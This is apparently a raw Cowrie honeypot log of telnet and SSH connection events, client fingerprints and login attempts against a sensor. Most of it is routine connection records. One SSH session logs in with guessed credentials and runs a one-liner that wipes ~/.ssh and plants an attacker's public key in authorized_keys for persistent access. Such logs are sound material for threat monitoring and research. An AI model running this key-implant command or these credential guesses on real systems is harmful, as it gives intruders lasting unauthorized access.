{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41514,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab250f13ee2","protocol":"telnet","message":"New connection: 144.79.218.12:41514 (10.17.0.5:23) [session: 7ab250f13ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:44.898757Z"}
{"eventid":"cowrie.session.closed","duration":32.035090923309326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:44.966305Z","src_ip":"69.6.225.50","session":"514325e7c251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55614,"dst_ip":"159.203.135.109","dst_port":23,"session":"423b1748d94a","protocol":"telnet","message":"New connection: 69.6.225.50:55614 (159.203.135.109:23) [session: 423b1748d94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.050245Z"}
{"eventid":"cowrie.session.closed","duration":30.46934938430786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.069282Z","src_ip":"69.6.225.50","session":"2168979dd791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55626,"dst_ip":"159.203.135.109","dst_port":23,"session":"c797e0e22dac","protocol":"telnet","message":"New connection: 69.6.225.50:55626 (159.203.135.109:23) [session: c797e0e22dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.096763Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41522,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf9c52738c7","protocol":"telnet","message":"New connection: 144.79.218.12:41522 (10.17.0.5:23) [session: dbf9c52738c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.262533Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41524,"dst_ip":"10.17.0.5","dst_port":23,"session":"80d036d0d3f1","protocol":"telnet","message":"New connection: 144.79.218.12:41524 (10.17.0.5:23) [session: 80d036d0d3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.275708Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55628,"dst_ip":"159.203.135.109","dst_port":23,"session":"597f4db5bf9b","protocol":"telnet","message":"New connection: 69.6.225.50:55628 (159.203.135.109:23) [session: 597f4db5bf9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.470246Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55640,"dst_ip":"159.203.135.109","dst_port":23,"session":"98baaf65f20a","protocol":"telnet","message":"New connection: 69.6.225.50:55640 (159.203.135.109:23) [session: 98baaf65f20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.624277Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55642,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2af63a3b27d","protocol":"telnet","message":"New connection: 69.6.225.50:55642 (159.203.135.109:23) [session: c2af63a3b27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.629231Z"}
{"eventid":"cowrie.session.closed","duration":31.887442350387573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:45.958206Z","src_ip":"69.6.225.50","session":"e2a83a19feba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55644,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6214677ec75","protocol":"telnet","message":"New connection: 69.6.225.50:55644 (159.203.135.109:23) [session: b6214677ec75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:46.263766Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fbd9ed635ee","protocol":"telnet","message":"New connection: 144.79.218.12:41526 (10.17.0.5:23) [session: 3fbd9ed635ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:46.298036Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":38676,"dst_ip":"10.17.0.5","dst_port":23,"session":"8097c6c9abab","protocol":"telnet","message":"New connection: 5.61.90.139:38676 (10.17.0.5:23) [session: 8097c6c9abab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:46.586047Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55648,"dst_ip":"159.203.135.109","dst_port":23,"session":"75e0649715db","protocol":"telnet","message":"New connection: 69.6.225.50:55648 (159.203.135.109:23) [session: 75e0649715db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:46.596730Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55664,"dst_ip":"159.203.135.109","dst_port":23,"session":"7375b3e6671f","protocol":"telnet","message":"New connection: 69.6.225.50:55664 (159.203.135.109:23) [session: 7375b3e6671f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:46.808752Z"}
{"eventid":"cowrie.session.closed","duration":30.544601917266846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:47.051448Z","src_ip":"69.6.225.50","session":"a2822af82ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548382997512817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:47.107253Z","src_ip":"69.6.225.50","session":"c1874bd966dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55678,"dst_ip":"159.203.135.109","dst_port":23,"session":"be09f9082435","protocol":"telnet","message":"New connection: 69.6.225.50:55678 (159.203.135.109:23) [session: be09f9082435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:48.321438Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41536,"dst_ip":"10.17.0.5","dst_port":23,"session":"97cc0fa96b5e","protocol":"telnet","message":"New connection: 144.79.218.12:41536 (10.17.0.5:23) [session: 97cc0fa96b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:48.472645Z"}
{"eventid":"cowrie.session.closed","duration":31.217788457870483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:48.494062Z","src_ip":"69.6.225.50","session":"c24e807f9484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41552,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb97f9c567ca","protocol":"telnet","message":"New connection: 144.79.218.12:41552 (10.17.0.5:23) [session: fb97f9c567ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:48.502201Z"}
{"eventid":"cowrie.session.closed","duration":31.856839418411255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:48.900944Z","src_ip":"69.6.225.50","session":"34ea364dc07c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.177550077438354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:49.262497Z","src_ip":"69.6.225.50","session":"b3f26a8b71eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40452,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa409f2b9d8","protocol":"telnet","message":"New connection: 144.79.218.12:40452 (10.17.0.5:23) [session: 4fa409f2b9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:49.503280Z"}
{"eventid":"cowrie.session.closed","duration":31.044812202453613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:49.512251Z","src_ip":"69.6.225.50","session":"a09496a87311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69141125679016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:49.665407Z","src_ip":"69.6.225.50","session":"0534904f502d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":45352,"dst_ip":"159.203.135.109","dst_port":23,"session":"981c68c3b748","protocol":"telnet","message":"New connection: 69.6.225.50:45352 (159.203.135.109:23) [session: 981c68c3b748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:49.706915Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":45354,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c08fa62211","protocol":"telnet","message":"New connection: 69.6.225.50:45354 (159.203.135.109:23) [session: 33c08fa62211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:50.804244Z"}
{"eventid":"cowrie.session.closed","duration":30.988512754440308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:51.459627Z","src_ip":"69.6.225.50","session":"54aec2ee8402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":38806,"dst_ip":"10.17.0.5","dst_port":23,"session":"789c9a1b0e91","protocol":"telnet","message":"New connection: 5.61.90.139:38806 (10.17.0.5:23) [session: 789c9a1b0e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:51.981421Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":38816,"dst_ip":"10.17.0.5","dst_port":23,"session":"148201b541b5","protocol":"telnet","message":"New connection: 5.61.90.139:38816 (10.17.0.5:23) [session: 148201b541b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:52.276328Z"}
{"eventid":"cowrie.session.closed","duration":31.443106412887573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:52.447936Z","src_ip":"69.6.225.50","session":"b7c4a21a9dfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.529714584350586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:52.453090Z","src_ip":"69.6.225.50","session":"6d68b86f09c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33104,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be88b4c9cf8","protocol":"ssh","message":"New connection: 68.183.236.1:33104 (159.203.135.109:22) [session: 1be88b4c9cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:53.006996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:53.011744Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:53.265885Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":38840,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc500f1db93","protocol":"telnet","message":"New connection: 5.61.90.139:38840 (10.17.0.5:23) [session: 3dc500f1db93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:53.339777Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":45364,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b16d40cb07f","protocol":"telnet","message":"New connection: 69.6.225.50:45364 (159.203.135.109:23) [session: 2b16d40cb07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:53.567902Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":45366,"dst_ip":"159.203.135.109","dst_port":23,"session":"af885e538e90","protocol":"telnet","message":"New connection: 69.6.225.50:45366 (159.203.135.109:23) [session: af885e538e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:53.949058Z"}
{"eventid":"cowrie.session.closed","duration":30.652223587036133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.050108Z","src_ip":"69.6.225.50","session":"c055ee7db168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.292763471603394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.069940Z","src_ip":"69.6.225.50","session":"50c27ad3bd69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879937887191772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.164512Z","src_ip":"69.6.225.50","session":"67afeede3e5e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2022","message":"login attempt [oracle/oracle2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.311879Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":45368,"dst_ip":"159.203.135.109","dst_port":23,"session":"64968aa9c0b3","protocol":"telnet","message":"New connection: 69.6.225.50:45368 (159.203.135.109:23) [session: 64968aa9c0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.506896Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.866996Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.871056Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:54.876672Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69393229484558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.047498Z","src_ip":"69.6.225.50","session":"e82eaee55917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.426466703414917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.087231Z","src_ip":"69.6.225.50","session":"edafff7b5fbc","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.135336Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.429131269454956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.162053Z","src_ip":"69.6.225.50","session":"89fc926df233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56238,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e79a1781470","protocol":"ssh","message":"New connection: 159.203.92.129:56238 (159.203.135.109:22) [session: 5e79a1781470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.186311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.192033Z","src_ip":"159.203.92.129","session":"5e79a1781470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.198349Z","src_ip":"159.203.92.129","session":"5e79a1781470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alan","password":"123456","message":"login attempt [alan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.215934Z","src_ip":"159.203.92.129","session":"5e79a1781470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40462,"dst_ip":"10.17.0.5","dst_port":23,"session":"026dbfdad0e1","protocol":"telnet","message":"New connection: 144.79.218.12:40462 (10.17.0.5:23) [session: 026dbfdad0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.458452Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.688608Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.693347Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":45380,"dst_ip":"159.203.135.109","dst_port":23,"session":"bebd794323ee","protocol":"telnet","message":"New connection: 69.6.225.50:45380 (159.203.135.109:23) [session: bebd794323ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.702014Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.952652Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:55.956370Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
